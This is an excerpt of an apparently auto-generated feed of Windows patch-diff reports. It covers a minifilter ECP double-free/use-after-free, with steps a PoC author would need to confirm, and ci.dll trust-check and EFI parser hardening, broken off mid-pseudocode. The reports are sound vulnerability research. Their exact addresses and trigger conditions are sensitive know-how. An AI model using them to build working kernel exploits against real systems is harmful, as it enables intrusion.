&lt;li&gt;&lt;strong&gt;What changed:&lt;/strong&gt; Symbol names and addresses shifted between builds (&lt;code&gt;CCFDispatchUnsupported (sub_1c00081f0)&lt;/code&gt;, &lt;code&gt;CCFDispatchDeviceControl (sub_1c0007f30)&lt;/code&gt;, &lt;code&gt;CCFProcessNotification (sub_1c0008270)&lt;/code&gt;, &lt;code&gt;CCFApplyDeviceAcl (sub_1c00096d8)&lt;/code&gt;, &lt;code&gt;CCFUnload (sub_1c0007590)&lt;/code&gt;, &lt;code&gt;WPP_SF_d (sub_1c0001034)&lt;/code&gt;). Global addresses shifted (&lt;code&gt;data_1c00041a8 → 0x1c00041c8&lt;/code&gt;, &lt;code&gt;CCFCacheGuardedMutex → 0x1c0004180&lt;/code&gt;). Logic — &lt;code&gt;FltRegisterFilter&lt;/code&gt;, &lt;code&gt;IoCreateDevice&lt;/code&gt; (&lt;code&gt;\Device\CCFFilter&lt;/code&gt;, &lt;code&gt;DeviceType=0x14&lt;/code&gt;, &lt;code&gt;Characteristics=0x100&lt;/code&gt;), &lt;code&gt;PsSetCreateProcessNotifyRoutine&lt;/code&gt;, &lt;code&gt;FltStartFiltering&lt;/code&gt;, device-ACL application, unload-on-failure — is equivalent. The &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; dispatch (&lt;code&gt;CCFDispatchDeviceControl&lt;/code&gt; / &lt;code&gt;sub_1c0007f30&lt;/code&gt;) handles IOCTL codes &lt;code&gt;0x140000 / 0x14400c / 0x144018 / 0x144004 / 0x144008&lt;/code&gt; with explicit &lt;code&gt;InputBufferLength&lt;/code&gt; / &lt;code&gt;OutputBufferLength&lt;/code&gt; checks (&lt;code&gt;cmp r9d, 0x20 / 0x28 / 0x10 / 0x8&lt;/code&gt;). &lt;strong&gt;No behavioral change.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None in the top-level matched set. The patched build additionally introduces the Feature Staging helpers &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;sub_1c00017b8&lt;/code&gt;), &lt;code&gt;EvaluateCurrentStateFromRegistry&lt;/code&gt; (&lt;code&gt;sub_1c0001518&lt;/code&gt;), &lt;code&gt;EvaluateFeature&lt;/code&gt; (&lt;code&gt;sub_1c0001740&lt;/code&gt;), and &lt;code&gt;rbc_InitializeFeatureStaging&lt;/code&gt; (&lt;code&gt;sub_1c00017e4&lt;/code&gt;), which back the success-path clear in &lt;code&gt;CCFPreCreate&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The ownership transfer is unambiguous: &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; calls &lt;code&gt;FltInsertExtraCreateParameter&lt;/code&gt; (the IRP's ECP list now owns the ECP) and zeroes its out-flag &lt;code&gt;var_b8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The unpatched success path leaves the local &lt;code&gt;EcpContext&lt;/code&gt; live (the clear is inside the never-taken &lt;code&gt;if (var_b8)&lt;/code&gt; branch), and the error-cleanup at &lt;code&gt;0x1c0007d5a&lt;/code&gt; (&lt;code&gt;call FltFreeExtraCreateParameter&lt;/code&gt;) frees that still-listed ECP when a version/CSV ECP step fails. Both are directly visible in the disassembly and the decompilation.&lt;/li&gt;
&lt;li&gt;The patch's success-path clear via &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;sub_1c00017b8&lt;/code&gt;) is consistent with a deliberate lifetime/ownership fix, gated by a Windows Feature Staging flag rather than a refactor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Assumptions to verify manually:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;EA buffer format.&lt;/strong&gt; The exact byte layout of the "CCFF app-instance EA" that drives &lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt; into the &lt;code&gt;var_b7&lt;/code&gt; branch was inferred from context, not reconstructed field-by-field. A PoC author should reverse &lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt; to build the EA precisely.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Failure of the version/CSV ECP step.&lt;/strong&gt; Reaching the error-cleanup free requires the subsequent &lt;code&gt;CCFFindAppInstanceVersionEcp&lt;/code&gt; / &lt;code&gt;CCFLookupAndAddVersionEcpToCreate&lt;/code&gt; sub-step to return an error while &lt;code&gt;EcpContext&lt;/code&gt; is still live. Confirm the input conditions that force that failure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSV volume presence.&lt;/strong&gt; The minifilter only attaches to CSV volumes — a PoC requires a host with CSV configured, or an environment where the filter can be coerced into attaching (lab cluster setup).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manifestation.&lt;/strong&gt; The concrete fault is the second free / stale-pointer walk performed by the filter manager's ECP-list teardown at create completion. Confirming the exact teardown site and timing (and whether a given build catches it as a double-free or a use-after-free) requires dynamic observation; no follow-on read/write or code-execution primitive is claimed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature-staging state.&lt;/strong&gt; The success-path clear is applied when &lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns nonzero, i.e. when &lt;code&gt;g_Feature_2963746106_60258290_cachedstate != 1&lt;/code&gt; (&lt;code&gt;0x1c00017d3&lt;/code&gt;: &lt;code&gt;cmp ecx, 1&lt;/code&gt; / &lt;code&gt;setnz al&lt;/code&gt;, consumed by the &lt;code&gt;cmovnz&lt;/code&gt; at &lt;code&gt;0x1c0007c77&lt;/code&gt;). When the cached state is &lt;code&gt;1&lt;/code&gt; the patched build keeps the pointer live, matching the unpatched behavior. Because this is a runtime Feature Staging gate read from the registry, the fix is a staged rollout; a researcher should confirm the production feature state on the target to know whether the clear is active.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>ci.dll — trust bypass / missing validation (CWE-358) in SIPolicyIsPolicyPlatformSecured fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ci_2364a023-ci-report-20260628-215245.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/ci_2364a023-ci-report-20260628-215245.html</id><summary type="html">&lt;p&gt;KB5079473&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary ID&lt;/strong&gt;: &lt;code&gt;ci_unpatched.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary ID&lt;/strong&gt;: &lt;code&gt;ci_patched.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score&lt;/strong&gt;: 0.95&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;Matched Functions: 380&lt;/li&gt;
&lt;li&gt;Changed Functions: 88&lt;/li&gt;
&lt;li&gt;Identical Functions: 292&lt;/li&gt;
&lt;li&gt;Unmatched Functions: 0 (both directions)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict&lt;/strong&gt;: The primary change tightens a System Integrity (SI) policy trust check where, on the non-strict path, a policy could be treated as "platform secured" via a single flag bit without the full identity check. The patch also removes one policy identity from a hardcoded list of policy IDs that are required to be Windows-signed (which relaxes, not tightens, the requirement for that identity), adds a feature-gated flag check to the VBS/HVCI (Virtualization-Based Security) policy-failure path, and switches one catalog-hash lookup from &lt;code&gt;bsearch&lt;/code&gt; to the bounds-checked &lt;code&gt;bsearch_s&lt;/code&gt;. Separately, the patch hardens the EFI Secure Boot signature-database parser (&lt;code&gt;SbpParseSignatureDatabase&lt;/code&gt;, reached from &lt;code&gt;SbParseKEK&lt;/code&gt; via &lt;code&gt;SbEFIGetVariable&lt;/code&gt;): the merged-list allocation size, previously computed with raw &lt;code&gt;shl&lt;/code&gt;/&lt;code&gt;add&lt;/code&gt; and no overflow check, is now validated with &lt;code&gt;RtlULongLongMult&lt;/code&gt; plus carry checks in the newly extracted helper &lt;code&gt;SbpParseSignatureDatabaseFromBuffer&lt;/code&gt; before the buffer is allocated and attacker-controlled variable data is copied in (CWE-190 integer-overflow hardening; see Finding 4).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: SI Policy "Platform Secured" Trust Check Bypass&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Trust Bypass / Improperly Implemented Security Check (CWE-358)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function&lt;/strong&gt;: &lt;code&gt;SIPolicyIsPolicyPlatformSecured (sub_18006FC88)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: 
&lt;code&gt;SIPolicyIsPolicyPlatformSecured&lt;/code&gt; decides whether a loaded System Integrity policy is "platform secured" (return &lt;code&gt;1&lt;/code&gt;) based on a policy-options flag dword at offset &lt;code&gt;+0x710&lt;/code&gt; of the policy structure. In the unpatched build, when the function is called with &lt;code&gt;arg2 = 0&lt;/code&gt; (the non-strict path) and bit 2 (&lt;code&gt;value &amp;amp; 4&lt;/code&gt;) is set in that flag dword, it immediately returns &lt;code&gt;1&lt;/code&gt; (platform secured), skipping the stricter check. The patched build removes this early-return shortcut: on the &lt;code&gt;arg2 = 0&lt;/code&gt; path it now requires bit 0 (&lt;code&gt;value &amp;amp; 1&lt;/code&gt;) to be set AND a hardcoded 16-byte policy-identity value at offset &lt;code&gt;+0x6CC&lt;/code&gt;/&lt;code&gt;+0x6D4&lt;/code&gt; (&lt;code&gt;0x4C0644C9A244370E&lt;/code&gt; / &lt;code&gt;0x7630566E01F651B5&lt;/code&gt;) to match before returning platform-secured. There is no page-hash table or binary search in this function; the check is a policy flag test plus a fixed identity comparison.&lt;/p&gt;
&lt;p&gt;The "platform secured" result is a trust gate: one caller honors a policy's &lt;code&gt;PlatformSecureSetting&lt;/code&gt; security-policy query only when the owning policy is platform-secured, and another proceeds with image validation once any loaded policy is platform-secured. Removing the bit-2 shortcut therefore narrows which policies are treated as platform-secured. The severity is assessed as Medium rather than High because the end-to-end impact depends on an attacker being able to get a policy loaded and evaluated whose &lt;code&gt;+0x710&lt;/code&gt; flag has bit 2 set while lacking the fixed identity, which cannot be demonstrated from these two binaries alone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain&lt;/strong&gt;:
1. SI policy load / evaluation
2. &lt;code&gt;SIPolicyParsePolicyData&lt;/code&gt; and related policy setup
3. &lt;code&gt;SIPolicyIsPolicyPlatformSecured (sub_18006FC88)&lt;/code&gt; (platform-secured determination)&lt;/p&gt;
&lt;h3&gt;Finding 2: Removal of a Policy Identity from the Windows-Signing Mandate List (Relaxation)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Informational (not a security fix; the patched build is the less strict one for this identity)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Signing-requirement relaxation of a hardcoded policy-ID list (no unpatched-vulnerable / patched-fixed direction)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function&lt;/strong&gt;: &lt;code&gt;SIPolicyIsPolicyMustBeWindowsSigned (sub_18006FB74)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: 
&lt;code&gt;SIPolicyIsPolicyMustBeWindowsSigned&lt;/code&gt; compares a 16-byte policy identity against a built-in list of hardcoded policy-identity constants and returns &lt;code&gt;1&lt;/code&gt; if any match. The unpatched build contains one extra entry: identity &lt;code&gt;0x4C3279F4784C4414&lt;/code&gt; (at offset &lt;code&gt;+0x0&lt;/code&gt;) with &lt;code&gt;0xD1DA542FBF0A5A6&lt;/code&gt; (at offset &lt;code&gt;+0x8&lt;/code&gt;, i.e. &lt;code&gt;a1[1]&lt;/code&gt;). The patch removes this one entry; all other entries are unchanged in both builds.&lt;/p&gt;
&lt;p&gt;The direction of this change is a relaxation, not a tightening. In both builds the sole caller reaches the customized-signed acceptance path (&lt;code&gt;SIPolicyCheckPolicyCustomizedSigned&lt;/code&gt;, which allows a non-Windows/third-party signer) only when the policy is not Windows-signed (status &lt;code&gt;0xC0430005&lt;/code&gt;) AND &lt;code&gt;SIPolicyIsPolicyMustBeWindowsSigned&lt;/code&gt; returns &lt;code&gt;0&lt;/code&gt;. A policy whose identity is on the list is therefore barred from the customized-signed path and must be Windows-signed. Removing identity &lt;code&gt;0x4C3279F4784C4414&lt;/code&gt; from the list means the patched build no longer forces that identity to be Windows-signed: it may now be accepted through the customized-signed path. So the unpatched build is the stricter one here; this is a policy-ID list adjustment, not a trust revocation and not a vulnerability being fixed. This is a policy-identity constant compare, not a certificate-chain or signer-hash check.&lt;/p&gt;
&lt;p&gt;The separately-changed &lt;code&gt;CiHvciIsVbsPolicyFailure (sub_18006C428)&lt;/code&gt; is a distinct HVCI/VBS policy-failure detector (it does not call &lt;code&gt;SIPolicyIsPolicyMustBeWindowsSigned&lt;/code&gt;); its patched change is described in Finding 2b below.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain&lt;/strong&gt;:
1. SI policy evaluation
2. &lt;code&gt;SIPolicyIsPolicyMustBeWindowsSigned (sub_18006FB74)&lt;/code&gt; (built-in policy-identity allowlist compare)&lt;/p&gt;
&lt;h3&gt;Finding 2b: VBS/HVCI Policy-Failure Gate Tightened&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Improperly Implemented Security Check (CWE-358)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function&lt;/strong&gt;: &lt;code&gt;CiHvciIsVbsPolicyFailure (sub_18006C428)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: 
&lt;code&gt;CiHvciIsVbsPolicyFailure&lt;/code&gt; walks loaded policies looking for a specific hardcoded policy identity (&lt;code&gt;0x4B5E588BA072029F&lt;/code&gt; / &lt;code&gt;0x87F67DD6AA05F9B7&lt;/code&gt;) to decide whether an HVCI/VBS policy failure occurred. The patch adds a feature-gated pre-check: when &lt;code&gt;Feature_CodeIntegrity_TrustedLaunchPolicy__private_IsEnabledDeviceUsageNoInline (sub_180018DF8)&lt;/code&gt; returns non-zero, it re-reads the flag dword at offset &lt;code&gt;+0x938&lt;/code&gt; and returns &lt;code&gt;0&lt;/code&gt; (no failure) unless bit &lt;code&gt;0x100000&lt;/code&gt; is set and bit &lt;code&gt;0x200000&lt;/code&gt; is clear. The &lt;code&gt;+0x938&lt;/code&gt; offset is unchanged between builds.&lt;/p&gt;
&lt;h3&gt;Finding 3: Hardening of the SHA-256 Catalog Hash Binary Search&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Low (defensive hardening; no out-of-bounds condition demonstrated in either build)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Potential Out-of-Bounds Read / Improper Bounds Handling (CWE-125)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function&lt;/strong&gt;: &lt;code&gt;I_FindFileOrHeaderHashInLoadedCatalogs (sub_1800D6FEC)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: 
&lt;code&gt;I_FindFileOrHeaderHashInLoadedCatalogs&lt;/code&gt; looks up a file/header hash in the sorted hash tables of loaded catalogs. In the unpatched build the SHA-256 branch (&lt;code&gt;a3 == 32780&lt;/code&gt;) uses the standard &lt;code&gt;bsearch&lt;/code&gt; (element size &lt;code&gt;0x20&lt;/code&gt;, comparator &lt;code&gt;I_HashSearchCompareRoutineSHA256&lt;/code&gt;). The patch transitions that call to the bounds-checked variant &lt;code&gt;bsearch_s&lt;/code&gt; (with &lt;code&gt;CipFileHashSearchCompareRoutineSHA256&lt;/code&gt;, element size &lt;code&gt;0x20&lt;/code&gt;, and a null context argument), which adds runtime parameter validation. The SHA-1 branch (&lt;code&gt;a3 == 32772&lt;/code&gt;, element size &lt;code&gt;0x14&lt;/code&gt;) continues to use &lt;code&gt;bsearch&lt;/code&gt; in both builds. This is a defensive hardening change; neither build exhibits a demonstrable out-of-bounds read.&lt;/p&gt;
&lt;h3&gt;Finding 4: Integer-Overflow Hardening of the EFI Secure Boot Signature-Database Parser&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Low (defensive integer-overflow hardening on an untrusted parser; a demonstrable 64-bit overflow is not provable from these binaries, see below)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Integer Overflow in size computation (CWE-190) guarding an undersized-allocation heap buffer overflow (CWE-787 / CWE-122)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function&lt;/strong&gt;: &lt;code&gt;SbpParseSignatureDatabase&lt;/code&gt; (unpatched &lt;code&gt;@0x18000BDDC&lt;/code&gt;) — in the patch the size/allocation logic is split out into the newly added helper &lt;code&gt;SbpParseSignatureDatabaseFromBuffer (@0x18001E1DC)&lt;/code&gt;, called from the patched &lt;code&gt;SbpParseSignatureDatabase (@0x18000E0FC)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: 
&lt;code&gt;SbpParseSignatureDatabase&lt;/code&gt; retrieves an EFI (UEFI) Secure Boot signature-database variable via &lt;code&gt;SbEFIGetVariable&lt;/code&gt; (at &lt;code&gt;0x18000BE21&lt;/code&gt; in the unpatched build) and parses its &lt;code&gt;EFI_SIGNATURE_LIST&lt;/code&gt; records to build a merged descriptor array. It is reached from &lt;code&gt;SbParseKEK (@0x18001E16C in the patched build)&lt;/code&gt;, which parses the Secure Boot KEK/db variable contents — firmware/Secure-Boot configuration data that is exactly the untrusted input this parser exists to validate.&lt;/p&gt;
&lt;p&gt;In the unpatched build the allocation size for the merged list is computed with raw shift/add and no overflow validation. After the counting pass, the entry counts in &lt;code&gt;r14&lt;/code&gt;/&lt;code&gt;rdi&lt;/code&gt; and the raw variable size in &lt;code&gt;r15&lt;/code&gt; are combined as &lt;code&gt;lea rcx,[r14+rdi]; shl rcx,4; add rcx,r15&lt;/code&gt; and passed straight to &lt;code&gt;SbeAlloc&lt;/code&gt; (at &lt;code&gt;0x18000BE54&lt;/code&gt;). The attacker-controlled variable data is then copied into that buffer with &lt;code&gt;memmove&lt;/code&gt; (at &lt;code&gt;0x18000BF62&lt;/code&gt;). There is no &lt;code&gt;RtlULongLongMult&lt;/code&gt; or carry check anywhere in the function; in fact &lt;code&gt;RtlULongLongMult&lt;/code&gt; does not appear anywhere in the unpatched binary.&lt;/p&gt;
&lt;p&gt;In the patched build every size multiplication that was previously a bare &lt;code&gt;shl&lt;/code&gt; is replaced by a checked 64-bit multiply, &lt;code&gt;RtlULongLongMult&lt;/code&gt; (multiplier &lt;code&gt;0x10&lt;/code&gt;), whose NTSTATUS result is tested with &lt;code&gt;test eax,eax; js loc_18001E5BC&lt;/code&gt; (error path). Each subsequent addition of the sub-region sizes is followed by an explicit carry check (&lt;code&gt;add r10,[rbp+pullResult]; cmp r10,[rbp+pullResult]; jb loc_18001E574&lt;/code&gt;, where &lt;code&gt;loc_18001E574&lt;/code&gt; sets &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; = &lt;code&gt;0xC0000095&lt;/code&gt;). Only after all multiplications and additions pass is the buffer allocated with &lt;code&gt;SbeAlloc&lt;/code&gt; (at &lt;code&gt;0x18001E2EC&lt;/code&gt;) and the attacker data copied in with &lt;code&gt;memmove&lt;/code&gt; (at &lt;code&gt;0x18001E324&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The change is a genuine, correctly-directed integer-overflow hardening on an untrusted UEFI-variable parsing path (the patched build is the stricter one). It is rated &lt;strong&gt;Low&lt;/strong&gt; rather than higher because the guarded operands are 32-bit entry counts multiplied by 16 and added to a 32-bit variable size; the arithmetic is performed in 64-bit registers and the counts are bounded by the parsed variable size, so a full 64-bit overflow of the allocation size — and therefore the undersized-allocation-plus-&lt;code&gt;memmove&lt;/code&gt; heap overflow it would cause — is not demonstrable from these two binaries alone. It is best characterized as defense-in-depth (CWE-190) that forecloses an undersized &lt;code&gt;SbeAlloc&lt;/code&gt; followed by an oversized &lt;code&gt;memmove&lt;/code&gt; of attacker-controlled EFI-variable data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain&lt;/strong&gt;:
1. Secure Boot variable evaluation
2. &lt;code&gt;SbParseKEK (@0x18001E16C)&lt;/code&gt; (parses the KEK/db Secure Boot variable)
3. &lt;code&gt;SbpParseSignatureDatabase&lt;/code&gt; (retrieves the variable via &lt;code&gt;SbEFIGetVariable&lt;/code&gt;)
4. &lt;code&gt;SbpParseSignatureDatabaseFromBuffer (@0x18001E1DC)&lt;/code&gt; (patched-only; overflow-checked size computation before &lt;code&gt;SbeAlloc&lt;/code&gt;/&lt;code&gt;memmove&lt;/code&gt;)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;SIPolicyIsPolicyPlatformSecured (sub_18006FC88)&lt;/code&gt; (Platform-Secured Determination)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED SIPolicyIsPolicyPlatformSecured @ 0x18006FC88:&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SIPolicyIsPolicyPlatformSecured&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x710&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// policy-options flags&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;full_check&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// strict path (preserved in patch)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;--- VULNERABLE: bit 2 alone =&amp;gt; platform secured&lt;/span&gt;
&lt;span class="nl"&gt;full_check&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
